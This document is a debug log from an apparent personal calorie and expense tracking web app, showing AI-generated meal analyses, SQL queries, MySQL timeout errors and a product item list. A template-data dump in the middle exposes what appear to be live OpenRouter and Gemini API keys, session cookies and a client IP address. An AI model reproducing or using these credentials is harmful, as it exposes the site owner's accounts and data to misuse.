2025-12-18T15:12:44.158Z server-connect:app Executing action step identify
2025-12-18T15:12:44.158Z server-connect:app options: { provider: 'security' }
2025-12-18T15:12:44.158Z server-connect:output identity: 1
2025-12-18T15:12:44.158Z server-connect:app Executing action step restrict
2025-12-18T15:12:44.158Z server-connect:app options: { provider: 'security' }
2025-12-18T15:12:44.158Z server-connect:output restrict: undefined
2025-12-18T15:12:44.158Z server-connect:app Executing action step single
2025-12-18T15:12:44.158Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-18T15:12:44.159Z server-connect:output summary: {
  summary: {
    rating: 7,
    summary: "The day's food intake shows a decent variety of Indian dishes, with a good inclusion of protein from the whey supplement and dal. However, the overall balance could be improved by ensuring more consistent protein sources throughout the day and potentially moderating carbohydrate-heavy snacks. The recent weight trend suggests a positive movement towards the goal.",
    bad_points: [
      'The initial snack (Aloo Matar Mix) is quite dense and may not be the most optimal choice for fat loss.',
      'Multiple milk tea servings, even without sugar, contribute to fluid intake but might not be the most nutrient-dense additions.',
      'Protein distribution could be more even across meals.'
    ],
    good_points: [
      'Inclusion of whey protein post-workout supports muscle development.',
      'Presence of dal and sabzi provides some essential nutrients.',
      'Salad and amla add fiber and micronutrients.',
      'Consistent gym attendance is commendable.'
    ],
    suggestions: [
      'Consider incorporating a protein-rich breakfast to start the day.',
      'Aim for more lean protein sources in main meals.',
      'Increase vegetable intake with meals to boost fiber and satiety.',
      'Ensure adequate hydration throughout the day, beyond milk tea.'
    ],
    predicted_weight: 70.1,
    predicted_weight_trend: 'A slight downward trend is likely.'
  },
  date: '2025-12-17T18:30:00.000Z'
}
2025-12-18T15:28:04.253Z server-connect:app Executing action step identify
2025-12-18T15:28:04.253Z server-connect:app options: { provider: 'security' }
2025-12-18T15:28:04.253Z server-connect:output identity: 1
2025-12-18T15:28:07.607Z server-connect:app Executing action step identify
2025-12-18T15:28:07.607Z server-connect:app options: { provider: 'security' }
2025-12-18T15:28:07.607Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-18 15:31:00' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-18 15:31:00' as DATETIME)"
}
2025-12-18T15:43:24.648Z server-connect:app Executing action step identify
2025-12-18T15:43:24.648Z server-connect:app options: { provider: 'security' }
2025-12-18T15:43:24.648Z server-connect:output identity: 1
2025-12-18T15:43:27.854Z server-connect:app Executing action step identify
2025-12-18T15:43:27.854Z server-connect:app options: { provider: 'security' }
2025-12-18T15:43:27.854Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-18 15:48:00' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-18 15:48:00' as DATETIME)"
}
2025-12-18T15:54:58.936Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-18T15:54:58.937Z server-connect:app Executing action step identify
2025-12-18T15:54:58.937Z server-connect:app options: { provider: 'security' }
2025-12-18T15:54:58.937Z server-connect:output identity: 1
2025-12-18T15:54:58.937Z server-connect:app Executing action step restrict
2025-12-18T15:54:58.937Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T15:54:58.939Z server-connect:output restrict: undefined
2025-12-18T15:54:58.939Z server-connect:app Executing action step processWithGemini
2025-12-18T15:54:58.939Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-18T15:55:01.592Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Egg Whites',
      quantity: '4',
      calories_per_item: 17,
      total_calories: 68,
      protein: 14.4,
      carbs: 1.6,
      fat: 0.4,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Excellent source of lean protein, very low in fat and carbs, ideal for muscle development.'
    },
    {
      food_name: 'Whole Egg',
      quantity: '1',
      calories_per_item: 78,
      total_calories: 78,
      protein: 6.3,
      carbs: 0.6,
      fat: 5.3,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Good source of complete protein and healthy fats, contains essential vitamins and minerals. The yolk provides important nutrients.'
    }
  ],
  total_macros: {
    protein: { value: 20.7, unit: 'g' },
    carbs: { value: 2.2, unit: 'g' },
    fat: { value: 5.7, unit: 'g' },
    total_calories: { value: 146, unit: 'kcal' }
  }
}
2025-12-18T15:55:26.195Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-18T15:55:26.195Z server-connect:app Executing action step identify
2025-12-18T15:55:26.195Z server-connect:app options: { provider: 'security' }
2025-12-18T15:55:26.195Z server-connect:output identity: 1
2025-12-18T15:55:26.195Z server-connect:app Executing action step restrict
2025-12-18T15:55:26.195Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T15:55:26.196Z server-connect:output restrict: undefined
2025-12-18T15:55:26.196Z server-connect:app Executing action step processWithGemini
2025-12-18T15:55:26.196Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-18T15:55:27.801Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Egg Whites',
      quantity: '5',
      calories_per_item: 17,
      total_calories: 85,
      protein: 17.5,
      carbs: 2.5,
      fat: 0.5,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Excellent source of lean protein, ideal for muscle development and low in calories.'
    }
  ],
  total_macros: {
    protein: { value: 17.5, unit: 'g' },
    carbs: { value: 2.5, unit: 'g' },
    fat: { value: 0.5, unit: 'g' }
  }
}
2025-12-18T15:55:36.057Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-18T15:55:36.058Z server-connect:app Executing action step identify
2025-12-18T15:55:36.058Z server-connect:app options: { provider: 'security' }
2025-12-18T15:55:36.058Z server-connect:output identity: 1
2025-12-18T15:55:36.058Z server-connect:app Executing action step restrict
2025-12-18T15:55:36.058Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T15:55:36.059Z server-connect:output restrict: undefined
2025-12-18T15:55:36.059Z server-connect:app Executing action step condition
2025-12-18T15:55:36.059Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-18T15:55:36.059Z server-connect:app Executing action step repeat
2025-12-18T15:55:36.059Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-18T15:55:36.059Z server-connect:app Executing action step insert
2025-12-18T15:55:36.059Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-18T15:55:36.061Z server-connect:output calories: { affected: 1, identity: 444 }
2025-12-18T15:55:36.061Z server-connect:output repeat: [ {} ]
2025-12-18T15:55:36.061Z server-connect:output condition: undefined
2025-12-18T15:55:36.368Z server-connect:router Serving templateView /calorie-tracker
2025-12-18T15:55:36.369Z server-connect:app Executing action step identify
2025-12-18T15:55:36.369Z server-connect:app options: { provider: 'security' }
2025-12-18T15:55:36.369Z server-connect:output identity: 1
2025-12-18T15:55:36.369Z server-connect:app Executing action step restrict
2025-12-18T15:55:36.369Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-18T15:55:36.369Z server-connect:output restrict: undefined
2025-12-18T15:55:36.369Z server-connect:router Render template layouts/main
2025-12-18T15:55:36.369Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3Ar47MwRV3mUib8EQdEt8gjA%3D%3D.BDZiwnA12RUBZslNv%2Ff4dwbU3Ld0JRNclqJ76GEI1MxqQ%2F2sUNaNoURHhjV276z7%2FIuCXxW9zlbgz2DnDG8NR590nEy8GemeqiP5Eq2lvMo57ljx3rGxZRIrZbw%2FN7iFEU2BxinMm%2Bc%2FQNE2f%2FMTy47xPSTYf2%2FiJ0rIic%2FE4ZM%3D.TPquQylfiAaucEwq9fXVxsrmr%2BmPf44ivz1Kp8ohiXQ; your_r_git.sid=s%3A9L14IQ4MVXi2-42CjAklSrbA6iRg-K5N.ro4wg3IpPfP%2F6KDePkhyNvAIRrPCo9Z7lojROFSgWNE',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-18T17:19:41.895Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3Ar47MwRV3mUib8EQdEt8gjA%3D%3D.BDZiwnA12RUBZslNv%2Ff4dwbU3Ld0JRNclqJ76GEI1MxqQ%2F2sUNaNoURHhjV276z7%2FIuCXxW9zlbgz2DnDG8NR590nEy8GemeqiP5Eq2lvMo57ljx3rGxZRIrZbw%2FN7iFEU2BxinMm%2Bc%2FQNE2f%2FMTy47xPSTYf2%2FiJ0rIic%2FE4ZM%3D.TPquQylfiAaucEwq9fXVxsrmr%2BmPf44ivz1Kp8ohiXQ; your_r_git.sid=s%3A9L14IQ4MVXi2-42CjAklSrbA6iRg-K5N.ro4wg3IpPfP%2F6KDePkhyNvAIRrPCo9Z7lojROFSgWNE',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-18T15:55:36.655Z server-connect:app Executing action step identify
2025-12-18T15:55:36.655Z server-connect:app options: { provider: 'security' }
2025-12-18T15:55:36.655Z server-connect:output identity: 1
2025-12-18T15:55:37.301Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-18T15:55:37.302Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-18T15:55:37.303Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-18T15:55:37.304Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-18T15:55:37.304Z server-connect:app Executing action step identify
2025-12-18T15:55:37.304Z server-connect:app options: { provider: 'security' }
2025-12-18T15:55:37.304Z server-connect:output identity: 1
2025-12-18T15:55:37.304Z server-connect:app Executing action step restrict
2025-12-18T15:55:37.304Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T15:55:37.305Z server-connect:app Executing action step identify
2025-12-18T15:55:37.305Z server-connect:app options: { provider: 'security' }
2025-12-18T15:55:37.305Z server-connect:output identity: 1
2025-12-18T15:55:37.305Z server-connect:app Executing action step restrict
2025-12-18T15:55:37.305Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T15:55:37.306Z server-connect:output restrict: undefined
2025-12-18T15:55:37.306Z server-connect:app Executing action step select
2025-12-18T15:55:37.306Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-18T15:55:37.306Z server-connect:app Executing action step identify
2025-12-18T15:55:37.306Z server-connect:app options: { provider: 'security' }
2025-12-18T15:55:37.306Z server-connect:output identity: 1
2025-12-18T15:55:37.306Z server-connect:app Executing action step restrict
2025-12-18T15:55:37.306Z server-connect:app options: { provider: 'security' }
2025-12-18T15:55:37.306Z server-connect:output restrict: undefined
2025-12-18T15:55:37.306Z server-connect:app Executing action step single
2025-12-18T15:55:37.306Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-18T15:55:37.308Z server-connect:output restrict: undefined
2025-12-18T15:55:37.308Z server-connect:app Executing action step single
2025-12-18T15:55:37.308Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-18T15:55:37.308Z server-connect:app Executing action step identify
2025-12-18T15:55:37.308Z server-connect:app options: { provider: 'security' }
2025-12-18T15:55:37.308Z server-connect:output identity: 1
2025-12-18T15:55:37.309Z server-connect:app Executing action step restrict
2025-12-18T15:55:37.309Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T15:55:37.312Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-18T15:55:37.314Z server-connect:output summary: {
  summary: {
    rating: 7,
    summary: "The day's food intake shows a decent variety of Indian dishes, with a good inclusion of protein from the whey supplement and dal. However, the overall balance could be improved by ensuring more consistent protein sources throughout the day and potentially moderating carbohydrate-heavy snacks. The recent weight trend suggests a positive movement towards the goal.",
    bad_points: [
      'The initial snack (Aloo Matar Mix) is quite dense and may not be the most optimal choice for fat loss.',
      'Multiple milk tea servings, even without sugar, contribute to fluid intake but might not be the most nutrient-dense additions.',
      'Protein distribution could be more even across meals.'
    ],
    good_points: [
      'Inclusion of whey protein post-workout supports muscle development.',
      'Presence of dal and sabzi provides some essential nutrients.',
      'Salad and amla add fiber and micronutrients.',
      'Consistent gym attendance is commendable.'
    ],
    suggestions: [
